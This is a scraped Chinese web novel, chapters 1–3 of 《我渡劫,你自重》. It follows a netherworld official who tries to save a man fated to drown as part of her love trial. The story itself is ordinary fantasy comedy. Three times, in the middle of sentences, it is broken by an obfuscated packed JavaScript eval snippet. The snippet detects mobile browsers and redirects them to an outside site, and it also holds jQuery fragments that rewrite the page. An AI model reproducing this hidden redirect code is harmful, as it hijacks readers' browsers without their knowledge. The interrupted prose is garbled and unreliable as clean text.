《我渡劫,你自重》 1. 风流债 农历四月十六,春夏之间,月亮最为舒展的一天,清辉朗照,万物生意盎然,就连冥界中历来肃杀的重冥大殿,都少见的透出些喜气。 为了欢迎仙界主掌律法的玉衡仙君到访交流,冥王昙华可算是下了血本,摆大桌,设大宴,誓要彰显出冥界的热情风范! 被临时抽调来布置大殿的几位鬼差阴司,生前都是搞婚礼庆典的,其中还有一位创意达人,活着的时候就对霍格沃茨礼堂大厅心驰神往不已,如今在法力加持下,终于能放开手脚大干一场。 于是,一个中西结合的荒诞宴会就此奇幻登场。 寻常新郎新娘举办仪式的台子上,放了一张中式实木圆桌,冥王带着冥官,仙君带着仙官,把酒言欢。 台子下面,宴请宾客的地方,则是十多列超长石桌,上面有蔼蔼云雾托着餐盘吃食循环流转,冥界中当差的和仙界随同而来的仙使们混坐在一起,觥筹交错,恨不得都要开始划拳了。 宋宋端坐在台上的圆桌旁,天界带来的琼浆玉酿早已不知饮下了多少杯,可仍觉得周遭一切有些过于梦幻了。 三千年前,她在这受封成为冥官,没想到竟然稳稳苟过了两千九百九十九年零九个月。 当然,更没想到的是,重冥大殿竟有朝一日被布置得像婚庆现场一般,当真是活久见。 此次玉衡仙君造访,是为了与冥王商议,似有魔族余孽在人间作乱一事。 冥王昙华从不以真身示人,顶着张日抛脸,男女老少来回轮转,今天特意挑了个和玉衡仙君年龄相仿的,两个精气神极佳的中年男人,以一种仿若高山流水遇知音,煞是相见恨晚的高涨热情,越聊越火热。 很难想象他们这种精神状态,是在讨论魔族问题。 宋宋一边继续灌酒,一边暗自腹诽,怀疑仙君不过是想找个由头,来冥界大联欢罢了。 三界之中,律法森严,妖、鬼、堕仙之流,作为升级刷经验之用,属于动态容纳监管范畴;而对于魔族,则是稍有苗头,便会联手绞杀。 像是疯狂打地鼠一样,一只地鼠冒出头,千百只大锤等着砸,分分钟灰飞烟灭,哪里容得下余孽。如果非要有,那也是魔族新秀。 不过不论真假与否,玉衡仙君的这次到访,以及这场聚会,当真来得正是时候! 和宋宋一起厮混了数千年的吐槽八卦摸鱼搭子——朗宁,终于也来赴宴了。 为了宋宋作为冥官的前途发展问题,朗言已经由几个月不愿意搭理她了,今日终于露面,正好借此机会,握手言和! 朗宁是在司命殿当值的一名仙使,天生即为仙族,可谓是十成十的好命了,在与宋宋相识之前,她的最大目标就是努力向上爬,有朝一日成为主掌司命殿的司命仙君。 而与宋宋相熟之后,她的最大目标里,又加了一个并列项——那就是说啥也得让宋宋飞升成仙,天长日久地在一起厮混。 可这两个目标,她雄心壮志打拼了小三千年,目前一个也没实现。 第一个没实现,是因为现任司命仙君太靠谱。 第二个没实现,是因为宋宋“太不靠谱”。 冥官虽然任期三千年,但期满卸任后,便会尘归尘土归土,退休下班即彻底下线。 如果不想下线,那唯一一条路,便是在任期内,达成飞升成就! 一旦成仙,万年也不过洒洒水,属于不作就不会死,除非主动送死,否则再无他忧的理想生活了。 千年前,自打朗宁认定了宋宋这个朋友之后,便费尽心机,向司命仙君百般示好求通融,最终在仙君睁一眼闭一眼地默许之下,成功潜入了司命殿里的“绝密圣地”。 她自那一出来,便直奔幽冥而来,拉着宋宋神神秘秘地大吹特吹。 “你能想象绝密圣地是什么样吗?” “我不能。” “简直超乎想象!是桥!是一座大铁桥!桥上挂得各种心形铁索就是注定的劫数,酷不酷?!” “……”有点土,但不敢说。 “你猜你要过的是什么劫?” 看着朗宁一脸兴奋的挤眉弄眼,宋宋愈发大感不妙。 “是情劫!酷不酷!” “酷,酷到我想吐……” 谁能懂啊,友友们?为什么飞升总是要安排这种老套戏码?要不然就是舍生取义整个生死劫,要不就是来场狗血虐恋靠情劫飞升! 能不能行了,有时间魔魔怔怔修烂俗大铁桥,没工夫提升提升剧本创意吗? 对此,宋宋表示全然拒绝,宁折不弯,绝不向这种黏黏糊糊的戏码低头。与其靠拉拉扯扯的苦情大戏续命,倒不如潇潇洒洒过完这三千年。 而随着三千年将满,朗宁的心态越发爆炸,对她左看右看横竖不顺眼,只恨她是根木头,完全辜负了司命殿的精巧设计。 真的这么决绝毫无遗憾吗? 其实也不尽然,往事并不如烟。外人只知晓她是以鲛人妖奴的身份历生死劫飞升成冥官,却不知道她是因为什么原因,以何种代价,成为了妖奴。 而做妖奴的三年里发生了什么,甚至连她自己都不知道。 那三年的记忆,被一颗陌生的心脏一并封存在她体内。 初为冥官时,宋宋对此思前想后了几百年,觉得或许应是有份恩情要报的。 尤其是从朗宁那,得知她要是再飞升,需要历情劫之后,更是隐隐觉得十有八九就是这档子事。 可在冥界轮转近千年,看多了各种爱恨情仇后,也就看淡了。 反正对方也封住了这段记忆,没必要再起波澜,就当她是狼心狗肺没良心好了,事也不想查了,恩也不想报了。 时期一到,往事不如烟也得如烟,前尘过往,尽数消散。 想开了之后,宋宋倒是心态平和了,朗宁则变本加厉地上蹿下跳,在四处搜罗来各种男仙、男鬼、男海王,统统被宋宋拒之门外后,彻底和她翻了脸,“行行行,就你行,我再管你我就是狗。” 语罢,摔门就往天上飞,那个螺旋火箭式的飞天速度,气势之猛,怨气之足,一度让冥界守卫误以为是厉鬼越狱。 今日终于有机会见面,宋宋心中一时间也是感慨万千,当着冥王和玉衡仙君的面不好开口多说,为表诚意,只能拎着酒一壶接一壶的灌。 换位思考一下,确实是她对不起朗宁,两个人千年的情谊,竟然毁在她不愿意度情劫上,简直荒诞。 想到此处,宋宋又猛灌下一杯,觉得内里翻腾如火烧一般,头脑也混沌起来,但唯独心脏,冷漠平稳,安静运转。 就像她这三千年的岁月一样,不管看起来多么鲜衣怒马、烈火烹油的时刻,实际能感觉到的,仍只有漫无边际的寡淡。 不过也不错,最起码喝酒这方面,优势长存。 宋宋盘算着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259168|166519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不要再装得醉一点,实在不行直接向她表个决心:“立志为了友谊,最后三个月拼命也要把这个恋爱谈完,爱拼才会赢!”反正醉话是当不了真的,之后反悔说不记得也成。 还不等她筹谋完,这幅低头沉思,长吁短叹的样子,已经让朗宁怀疑她是真的喝上了头,借口司命殿有几本命簿要和冥界这边核对一下,拉着宋宋提前离了席。 一路被朗宁扶搀回自己的内殿,宋宋还是没想好到底如何开口,只能继续装晕博同情,悄悄察着言观着色,借着月光望过去,朗宁嘴角愈发上翘,笑得有些过于平和乃至慈悲了。 而这种悲天悯人的微笑脸,和千年前她偷偷跑去司命殿禁地查劫数回来时如出一辙。 “宋宋,我是狗!” 啊?难不成她先喝多了,怎么突然冒出的这么一句?宋宋顺势靠在椅背上,继续装晕,扶额。 “为了你的那点破事,我又翻进了月老殿的禁地。” “……”你们天界的绝密禁地,真的都好禁,好绝密…… “可以啊,几千年了,你挺深藏不露啊!” 宋宋听着这话,头脑里那一团混沌的醉意被彻底吓没了,开始飞速运转起来,“对啊,喝!接着喝!我可以!”她挥着手臂向朗宁一副热情劝酒的样子,话一说完就直接趴倒在桌子上。 见她似是晕了过去,朗宁对于此间的种种秘闻,说起来便更加肆无忌惮了,在正主面前疯狂舞八卦,不得不说着实又开心又过瘾。 “你这个情劫可赖不了我们司命殿,是你苦心经营,亲手搞出来的!当冥官之前,哟,很会玩很风流嘛~” 朗宁随手掐了个决,把宋宋凌空抬起来轻轻放到了旁边的软榻上。 “三千年前,用你们鲛人特有媚术,对别人唱小曲了吧?勾心锁魂,转世轮回都逃不掉,高手啊!” ……对不起,您的好友已读但无法回复,正在天旋地转中…… 是可忍孰不可忍,非得过情劫才能活这事,她已经花了千年的时间消化掉了,接受了,认命了。 但没想到称作宿命也好,天道也好,因果轮回也好,就这一类的东西吧,竟然蹬鼻子上脸,倒打一耙,说是她先故意勾引别人的?! 三千年啊!她在冥界镇守万古愁,不说铁骨铮铮,最起码也算得上清清白白,如今竟遭此诽谤,还是如此歹毒的诽谤! 她哪里用装晕,险些直接被气晕。 “顾清元,他这一世叫顾清元,你在冥界躲着也没用,明天他就会因救人身亡,直接下来找你,我们司命殿向来分毫不差,保证安排地明明白白。” 平地惊雷接平地惊雷,二踢脚一般的连环轰炸。 宋宋一时心中百感交集,有多交集呢?足足用三千年的功力,才压住了飞身冲出去,直接找玉衡仙君鸣冤的冲动。何止是找他一人鸣冤,她恨不得今夜天上地下,敲破三界的每一面登闻鼓!!! “你现在酒量是真不行了,好好睡一夜吧,等到了明天,从明天开始可就有大意思了~”朗宁带着那一脸三分似是大彻大悟,七分看热闹不嫌事大的微笑飘然离去。 房门甫一关上,宋宋就直接跳了起来,不知道是直愣愣地站了一秒还是站了一年,时间的度量衡已然彻底失衡,无数种想法在脑子里呐喊奔走,最后,一个念头的声音愈来愈大,盖过了其他一切——明天说什么也不能让这个顾清远死下来! 2. 生死簿 宋宋第一次发觉,原来她的住处和存放生死簿的幽微阁之间,直线距离是这么的近,其间的月下山路,如谜一般幽美静谧。 恰如人间有江河湖海,天界有星河浩瀚,冥界亦有自己的造化。宋宋的观云台,即是作为镇守冥界长河——万古愁之所在。 观云台和幽微阁一个在山之巅,一个在山之脚。之前出于公事前往的时候,都是和一众公差恭恭敬敬地走漫长迂回的石阶大路,来来回回要绕上小半天。现在孤身夜闯,从山林中直穿而去,只消几十分钟便可到达。 如果用法术的话速度会更快,但镇守幽微阁的冥官奉岚,本就是山野间的自然精气所化,在这捻诀掐咒的基本等于是在主动给他打电话报警,准备原地自首了。 奉岚这个人长得清新脱俗,行为处事也向来方正,今夜的大宴上,和她同坐在一桌之上,不论周围怎样喧哗吵闹,把酒言欢,他却依旧松间明月,清泉石涧般飘逸出尘。 这样的人物纵使天界仙人也少有能与之比拟的,不知道当初为何选择做了冥官。 不过这些都不重要,轻巧绕过最后一个枝桠,宋宋已来到幽微阁外,只求奉岚还在大宴上一展风姿,没回来就好。 高阁楼台气魄万千,其内更是灯火通明,若把这漫山林木视为林海,那它便是这墨绿色海洋中一座温暖屹立的灯塔。 “等我回去之后,也得把观云台的照明整一整,规模大小无所谓,但气势上不能输!对,好好学习下人家的装潢!” 在这种碎碎念之下,翻墙进去的动作都潇洒气派了许多,好像今夜暗闯阁内,不是为了偷翻生死簿,而真的是为了学习夜间建筑照明了。 按时间来算,重华殿大宴肯定未完,如果没有意外的话,奉岚应该还在宴会上,冥界和天界不同,镇守之处,不论是宫,殿,阁,无论多大规模,里面常年值守的都只有冥官一人。 牙一咬心一横,宋宋挺直腰板,把为了掩藏形迹,特意换上的墨绿色长袍顺了顺,气宇轩昂地向内走去,生死簿我来了! “宋宋?” ……生死簿,我好像来不了了。 谁道她刚迈进殿内,便听见身后传来一声清朗男声,这么清,这么朗,不用猜,就知道是奉岚。 ……对不起,气不宇也不轩昂了,甚至一瞬间佝偻了几分…… 但牙一咬心一横还得再来一次,宋宋终于坚强地转过了身,直面幽微阁的主人。 几千年来,这种面红耳赤,羞愧难当的状态,着实少有。她只觉得心中一沉,仿佛突然失重了一般。 倏忽间又觉得自己非常对不起朗宁。 不知道她是怎么一次又一次溜进去查看的,听她嬉皮笑脸,轻轻松松说出来时,只顾着自己心烦意乱,却完全没想到她背后或许有过怎样的曲折。 她会不会也这样心头一紧过,或者是不是为了我,费尽口说好听话,不知道怎样的求了又求。 如今面对同样的私闯“禁地”,哪怕是为了自己而来,她甚至一时间都分辨不出一句。整个人忽上忽下,恍恍惚惚,一半着急尴尬,一半愧疚心酸,冰火两重天。 “宋宋,你是不是喝醉了?”看她面红耳赤,一言不发,奉岚徐徐向前走了过来。 “没有,”宋宋摇了摇头,“我就是想趁你不在,来这偷翻一下生死簿。”像样的话是一句说不出来,倒是直接老实摊了牌。 “……”这话着实像喝高了才能说出来的,一时间让人无言以对。 “我可能要开始渡情劫了,你能不能帮我?”不管三七二十一,宋宋选择一五一十地直接输出。 “宋宋……”奉岚的脸没红,但耳朵尖却一瞬间烧起来了。 哎呀,听他这样宋宋,宋宋叫来叫去,一句正经话没有,宋宋心中那股强压下去的邪火又涌了上来。 当年她飞升冥官之日,冥王昙华刚好是顶了一张七八十岁慈爱老奶奶的脸,那一日的性情便也格外祥和有爱。她和蔼地问她叫什么,她却完全想不起来,只记得好像姓宋。 “那就叫宋宋吧。”如此得来了这个名字。 在此后的千年岁月里,宋宋反复琢磨过,怀疑是不是借了北宋南宋之意,一场变故,虽然仍然是宋,却早已世殊时异,物是人非? 后来她把这个猜测讲给冥王昙华,昙华却只是哈哈大笑,说并没有那么复杂,只不过觉得像她这种直不楞挺的性格,需要一个叫起来亲昵温婉的名字来中和中和,也有助于她搞好人际关系。 今日能咬牙和奉岚搞关系,也全托了冥王的福,听他宋宋,宋宋的叫着,又烦躁,又觉得好像确实可以直言相交。 现在这情况,简直越说越乱,很难让他相信她真的神志清醒,也很难说清楚到底为什么要查命簿。 情急之下,宋宋直接凑近一步,紧盯着奉岚的眼睛,“奉岚,读我。”未开口,却是把声音直接从意识层面传了过去。 奉岚一怔,未想到竟如此“交心”。 冥界中人,其实人人多少都带有读心术技能,但人人都有,基本也就等于没有了,因为大家都会小心设置屏障,并不会被轻易读取。 以能力来算,修行越高,越有机会突破其以下之人的屏障,读取信息。 但到了冥王和冥官这一层级,哪怕是冥王要强行读取冥官想法,冥官都可察觉后强制反抗或假意设幻,冥官与冥官之间,便更不具备悄无声息,突破心防的可能了。 四目相望,短暂一瞬间,便将前因后果悉数道明。至此,这一晚的颠沛起伏,此刻算是彻底结束了。仿佛如梦初醒,但也终于清醒了。 本来就是不情之请,自己脑子一热,就直接跑过来大闹特闹,还非要把这些事说给旁人听。 麻烦朗宁还不够,如今还要把奉岚拉进来,俩人之前本就毫无交情,自己这一通折腾,着实属于发疯行径。 宋宋越想越觉得尴尬难堪,“对不起,”她讪讪开口,边说边转身向外离去,“实在是打扰了。” “等一下,”只见一道金光闪过,一本名册已飞到奉岚手中。“我可以给你,但是作为交换,你要让我下一次万古愁。”奉岚望着她的眼睛,也打开了禁制,直接通过意念交流。 “不行,那不是恩将仇报吗?……或者……你还是在劝我?看命簿和下万古愁一样危险?” “算是,但不全是。” “里面有你在乎的人?” “或许有。” “好,那等我回来。” “一言为定。” 接下他手中的册子,宋宋向奉岚深深鞠了一躬,也不再遮掩迟疑,如飞鸟般直接向山林掠起,转瞬就消失于夜色中。 边飞边想:“万万没料到奉岚是这么爽快果断的人,真是不错!早知道就应该多多往来,这么优秀的同僚!下次一定要和朗宁显摆一下,然后……还有好多好多话,要和朗宁聊一聊。” 望着消失的身影,奉岚轻叹一声,“一定要活着回来啊。”随后向空中一挥,似是无尽夜风向山顶抚去,整座山都发出了细细密密的叶片摩擦声,在月夜下,像是深沉的低语祈祷。 奉岚转身向殿内走去,他的心事比夜风更隐秘:“还想拿解酒散送过去,原来根本不需要。” —————————— 农历四月十七,海城郊外,盛江仙桥边,宋宋穿着一件灰色卫衣,一条普通牛仔裤,在静静守株待兔。 冥界对于往来人间这方面早有统一培训,第一条就是务必低调。 当时大家为了践行低调原则,首选全身上下一身黑的打扮。结果后来又紧急追加了新守则,大意宗旨是适度把握低调原则,低调到普通即可,过于低调到一身黑,反而又被判定为高调了。 宋宋长得很好看,但好看的方向,同样是和这个名字南辕北辙的那种。如果在街头擦肩而过的话,第一反应会觉得那是个美少年,而不是美女。 她今日把及腰长发高高盘起,整个人显得更加清爽利落,像个准备体测的大学生。不过也确实大差不差,那边是一声令下就开跑,这边是整装待发,随时跳桥。 谈到下水救人这件事,再也没有谁能比她更擅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259169|166519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长了,毕竟种族优势在这摆着呢,宋宋昨夜通宵挑灯夜战,虽然对顾清元的生平尚未摸透,但对他的死法倒是烂熟于心了。时间、地点、人物,三要素一应俱全。 只要她抢在顾清元之前一跳,把人成功捞上来即可大功告成!这样救下他一命,当年的恩情也算报了。其他帐,之后再一笔一笔慢慢算。 昨夜先是为说她对人唱小邪曲那事气昏了头,但在幽微阁一通胡作心态稍稍平和之后,又觉得疑点盲点,可不止情劫这一点点。 按照朗宁的说法,待他死后,来到冥界,哪怕她不出门,他也还是会和她相逢,这一点,朗宁不在其位不谋其政,不够敏感,但宋宋可是专职镇守万古愁。 寻常人入冥界,皆是待到时机成熟后再入轮回。但生年不满百,常怀千岁忧,因情自困成痴成魔者,三界唯一容身之处,便只剩万古愁了。 再联想到昨夜玉衡仙君来访,说人间有魔族作祟之事,她更是隐隐觉得或许所言非虚,似乎这些事情之间草蛇灰线,相互瓜葛着,都有所牵连。 这是什么年尾冲业绩啊! 救人、渡劫、恢复记忆、清查魔族、带奉岚下万古愁、还有朗宁……待办清单列都列不完,看到哪一个都觉得头大,最后三个月本以为能继续风平浪静苟过去,没想到浓缩的都是精华。 更深露珠,越想越头疼,越想越觉得周身发寒。 嘶?发寒?发寒好像不是想事想的,是下面这条河,当真越来越寒,阴气乎乎往上冒。 桥叫盛江仙,但河却只是郊外的一条无名河,这里白天都少有人至,夜里更是荒无人烟,说实话,她现在也开始纳闷了,荒郊野岭的,顾清元大半夜往这跑干嘛?又是哪个卧龙凤雏大半夜把自己折腾进这条河里? 她扶着桥栏,向下望去,不知道什么时候,下面的岸堤上来了个钓鱼的大爷,点着一支烟,忽明忽暗的,服了,真是服了,多大的瘾,非要三更半夜来这钓。 但大爷确实是活生生的人,和这股子阴气无关。 就在这时,远处隐隐传来了说话的声音,应该是个年轻的姑娘。 真是越急越添乱,今晚这边是要搞大联欢啊? 宋宋打来到这里后,一直小心遮掩了全身气息,安静如鸡地老实本分埋伏着,现在也顾不得了,整个人周身气场全开,五感也立刻放到了最大。 先是一眼望向桥下,绝了,真的在大联欢,原来有四个水鬼,正凑在这准备打麻将。只是一瞬,宋宋就已搞明白了前因后果是多么的操蛋。 他们着实是良善好鬼,既不愿害人,也不愿投胎,唯一爱好就是汇在一起搓搓麻将。可冥界自有冥界规矩,水鬼只能待在自己的那条河里,不许随便乱窜。 不为别的,就是怕他们聚在一起后,阴气过重,会无形之中,搅乱周围磁场,影响人类作出一些不理智行为。 而这四位麻友也深谙此道,每次都偷偷在这个偏僻的郊外小河里碰头,大概也是觉得,这种地方影响不到人类正常生活了吧,偶尔消遣消遣,小赌怡情! 自打宋宋一眼瞪下去,他们便被吓得大惊四散,边逃还边吐槽,这是什么命数啊,做鬼还这么倒霉,竟然碰上冥官大人亲自抓赌。 ……神特么抓赌。 望着桥下唯一剩下的一个瑟瑟发抖的水鬼,看来他确实就是这河里的了。 宋宋直接用意念传声过去:“放心,无事,你暂且去上游避一避。” 水鬼听到后立刻点头哈腰,用麻将布把麻将一裹,就向上面跑去,跑路前,还挥着手臂像扇烟一样,努力扇了扇周围由他们聚起来的阴气。 宋宋又盯了盯那个钓鱼老头,再度确认无问题后,凝神贯注于远方传来的声音。 有两个人在往过走,听脚步声是一男一女。 只听女生带着哭腔地说道:“求求你了,清元哥哥,我不要你走,我们自小青梅竹马,为了我,你能不能不出家。” 呵,行了,正主来了,宋宋在心中默默吐槽着,妹妹啊,你放心吧,为了你,你哥哥何止不出家,直接翘翘了。 3. 续前缘 从昨天到现在,宋宋对着顾清元的生死簿反复揣测了好久,这到底会是一个怎样的人,竟然让她做出情情爱爱唱小曲,非要生生世世相互绑定的事。 一想到自己是怎样对着他,袅袅娜娜柔情蜜意唱歌的那副场景,就觉得浑身发麻,恶心到哆哆嗦嗦恨不得插自己两刀。 她静坐运功了一天,试图冲开那三年的记忆禁制,但果不其然,还是毫无成效,所有心脉都被那颗不属于她的心脏封住了。 不论她怎么气急败坏,用尽各种手法,心脏都淡定表示,正常运转可以,其他功能免谈。 而此刻,当她听到远处传来的女孩央求声,其间“出家”二字,倒是让她陡然有了新猜想。 根据转世轮回的运行法则,前世今生之间,性别、外貌以及各种外在的东西或许会有天翻地覆的变化,但性格、想法、追求之类的内在特质却只会在一定范围内波动调整。 如果顾清元他今生动了出家的想法,前世或许也与修道相关。难道是什么妖女vs圣僧之类的cp?真是她霸王硬上弓强迫他了?她当年这么能搞事的吗?一瞬间甚至心虚恍惚了三秒。 但三秒一过,又马上清醒了过来,呸呸呸,晦气。 人活着,不能自己信不过自己,虽然记忆想不起来了,但无论是之前做鲛人还是做妖奴,一向都是头可断血可流,断没有黏黏糊糊的时候。 就在她想入非非之际,对面又传来了新信息。 “慕乔,不要闹了,如果你真拿我当哥哥的话,明天就好好观礼吧,现在这么晚,你一个人也没法回去。” 平心而论,顾清元的嗓音很好听,算是温润如玉那一款,毫无矫揉造作,故作低沉之嫌,但在宋宋听来,却觉得:“呵,死夹子,气泡音!Yue!” 他们离盛仙桥大概还有十多步的样子,现在花草正盛,影影绰绰间,彼此并无法窥见,但读心摄念已完全无碍。 宋宋再度集中意念,准备像刚才看水鬼一样,直接读取一下他们今生的前尘过往,那个叫慕乔的女生,一下看得很清楚,但是对于顾清元却莫名失灵了。 卧槽?这是什么情况?还来不得细想,他们二人已转过最后一弯,缓缓迈步向桥上走来。 在宋宋看来,那个小姑娘慕乔其实人蛮不错的,属于看起来娇娇嗲嗲喜欢耍点小性子,但实际上心里对各种事情拎得很清。她今天缠着跑来这边,一半是出于多年情谊,真的想再劝一劝,另一半也是想着劝不动的话,不如直接看看热闹。 而且她虽然表面又哭又闹的,实际上心里敞亮得很,最起码看不出任何跳河倾向。 真是奇了怪了,那一会落水的会是谁呢?还不等把这一团乱麻捋清,慕乔却被在桥上呆站着的宋宋吓了一跳。 “鬼啊!”直接一嗓子叫了出来。 这一喊,可是彻底喊出了大问题,也把宋宋心中的乱麻一下喊没了。 白天不说人,晚上不讲鬼,如果他们两个直接安安静静过桥,虽然桥下还有残余的一点阴气,但对神智已构不成太大影响。 可慕乔喊出“鬼”这个字眼,基本等于和阴气直接连上了蓝牙,桥下面本已经盘旋四散的阴气,陡然汇成一团朝她扑来。 “完,完完完!真是怎么躲也躲不过。”宋宋心里暗骂着,如果没有她横插一脚突然出现在这,那下面的四个水鬼自然现在会火热搓麻中,阴气指数爆棚,慕乔肯定中招;她来了之后,虽然驱散了水鬼,但本身又自成变数,惊吓之中,慕乔又中招…… “哪有鬼啊,小姑娘你可大半夜的别瞎叫,我这鱼都要被你吓跑了。”桥下钓鱼的老大爷也开了麦。 一时间整条石桥上上下下都热闹了起来。 顾清元一把扶住了险些摔倒的慕乔,向桥这边直直望过来。而宋宋也在此刻,终于看清了他的长相。 身姿清朗,临风玉树,很符合修行人的样子,而那一双漂亮的丹凤眼更是尤为出挑,借月色与粼粼波光的映衬,似乎含情脉脉的,让人不由得眈溺其中,完全移不开眼。 这双眼睛但分长在别人脸上,宋宋都能欣赏一下,夸上一夸,但放在他身上,“啧,鬼迷日眼,妖妖调调。” 顾清元盯着宋宋却是微微一愣,神色逐渐复杂起来。 但爱怎么复杂,怎么复杂吧,这会没工夫管他了,“我不是鬼,你们不要害怕。”宋宋向慕乔努力示好,慢慢靠近着。 慕乔穿着一身鹅黄色长裙,整个人长得机灵又可爱,“长裙好,长裙好,长裙估计动起来比较麻烦,不会太快。”宋宋在心里给自己暗暗打着气。 “哇,”慕乔突然神经质地大哭起来,惊得顾清元也手足无措地转身看向她,阴气开始生效了。 “清元哥哥,山里边太吓人了,你绝对不能在这出家,今天你必须和我回去!必须回家!” 说话间,一把挣开了顾清元扶着她的手,一个箭步就窜上了桥栏杆,“你要不答应我,我现在就跳下去。” “唉呀妈呀,还一天到晚修这修那,要出家呢,”宋宋在心里阴阳怪气暗骂着,“阴气阴气拦不住,人人拉不住,真是服了。” 慕乔一脸癫狂地盯着顾清元,顾清元却又直勾勾地看向了宋宋,墨色的眸子,深沉了几分,在造型上起到了一些作用,但对此刻的状况毫无作用。 “呵,我就知道,你不会答应我的,那我现在就死给你看,让你后悔一辈子。”黑化版慕乔咬牙切齿地说道,然后迅速翻身跳了下去。 “哎,这桥跳得也太急眼了吧,劝两句的机会都不给?!”桥下的大爷一时间也被惊得喊了起来。 慕乔的这一系列操作着实诡异,在旁人眼里看来,从说话到做事,都跟开了倍速似的,还没等别人反应过来,这边已经干净利落下水了。 “你别管。”宋宋把正欲翻过桥栏的顾清元一把拽了回来,反掌大力一挥,直接把他拍倒在了桥面上,同时借着这股力,迅速扎进了水底。 这条河本来不深,估摸着也就两三米的样子。但毕竟天地间精密的小设计小安排,永不缺席。 要是顾清元跳下来,估计今天这河也就两三米了,毕竟把他“玩完”已绰绰有余。 现在轮到宋宋一跳,上游立刻就凭空来了洪水,外加电闪雷鸣一应安排,整条河在一瞬间,不仅水位暴涨了许多,急湍险流的也开始上难度了。 本来在岸堤上钓鱼的老大爷,眼疾手快,拎起马扎和双肩包就往桥上跑,连鱼竿都不要了。等他跑到桥上时,河水已经涨到几乎和桥面持平了。 宋宋跳进去之后,其实完全不用费力去找慕乔,小姑娘两眼冒着邪光,直接就扑过来了,又拉腿又抱腰的把她死命往下拽,嘴型开开合合的,虽然听不见声音,但不用想也知道肯定没什么好话。 其实把慕乔身上的邪气逼出去并不难,但哪怕是邪气这种东西,也是有一弊必有一利。就像在此刻,邪气对于慕乔,起到了如高级续命氧气瓶般的功效,只要不把身边的人淹断气,她就能一直身康体健,战斗力爆棚地玩命折腾。 现在河流的这个状况,把她带出河面都得花个一两分钟,宋宋不敢轻易冒险出手驱散邪气。这条河本身今夜就注定弄死一个,如果为了救顾清元而影响到旁人,那也是她绝对不能接受的。 逆天改命这种事,自己选的,后果就得由她自己背。 虽然不能用法力驱邪,但她武力也不是盖的,宋宋拉着慕乔的胳膊,借旁边卷过来的暗流,用巧劲一甩,便把她从身上拉开了,然后拖着她飞速向上游去。 慕乔不依不饶,借着各种机会企图对她贴身乱缠,而越往上去,乱流的冲击力也越来越强。 马上就能冲出水面的时候,慕乔拼着全部的阴气,一把揽住了她的腰,把她死命往下拽了一截。 千年来第一次,宋宋有了溺水的感觉,鲛人在水里竟然能被淹,也真是滑天下之大稽,但就是这么离谱的出奇,好像“鲛”的特质全部消失了,只剩“人”了,而她下水从来不会像人一样憋气,所以现在属于完全没气了。 慕乔在她身上越锢越紧,嘴角的笑容也越发诡异。“难道真的有魔?”宋宋在乱流中陡然意识到,“只有魔气才能造成这种干扰。”搞不好她真的要阴沟里翻船,三千年冥官最后完在这条小河里,真是丢人丢到家了。 就在此刻,一股清幽的山林之气突然萦绕在她周围,不仅能呼吸了,还托着她们向上浮了一段,而河里的乱流也小了好多。 趁着这个机会,宋宋一把敲晕慕乔,捏住她的口鼻,猛地冲出了河面,然后顺带将阴气全部拔除干净。 能呼吸的感觉真好,奉岚啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259170|166519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !我们奉岚着实高义!不仅送生死簿,还附赠了一缕关键时刻足以保命的清风,宋宋托着慕乔,向桥边游去,第一次觉得夏夜的空气,是如此清新怡人,等回去之后,何止带他下万古愁,观云台送他都没问题! 而桥上的大爷,也拽着顾清元上蹦下跳地大叫着:“法师,大师~你可真灵诶!这水一下就让你治住了,简直特么的白娘子转世啊。” 望着从水中露出来的两道身影,顾清元终于长出了一口气,一时间甚至有点站不稳,这短短的几分钟,他虽然在岸上,却反而像是溺水最严重的那个。 “大师,您缓缓,我来我来!”大爷把顾清元往后搀了几步,然后直接趴到了桥栏中间,好在这是座仿古石桥,栏杆之间的距离完全足够把人拉上来。 缓过劲来的宋宋,如今又生龙活虎起来,鲛人属性再度全数上线!到底是有魔物作祟,还是因为逆天的惩罚,一时间也分不清了,总之,先把慕乔安全送上去,之后再详查。 她开心地向桥边游去,人已经成功救上来了,热心大爷也正趴在桥面上向她挥手,而那个不靠谱的顾清元晃晃悠悠的,正在弯腰把掉在地上的手串重新戴回去。 就在宋宋轻松划着水,顺带想吐槽他两句的时候,一道天雷朝着她直劈了下来。 从头到脚,她觉得自己似乎在一瞬间完全碎成了粉末,然后这些粉末又被重新拼合到了一起。已经不能说是疼了,而是累,累到不明白自己又被拼起来要做什么。 天雷不仅是对身体的重创,更是连精神意志一并摧毁。 做什么,确实不知道了,反正要把手上的这个人送上去。她麻木地向前游着,余光看见第二道天雷又劈了过来,应该要躲一躲的,但她实在没有心力了。 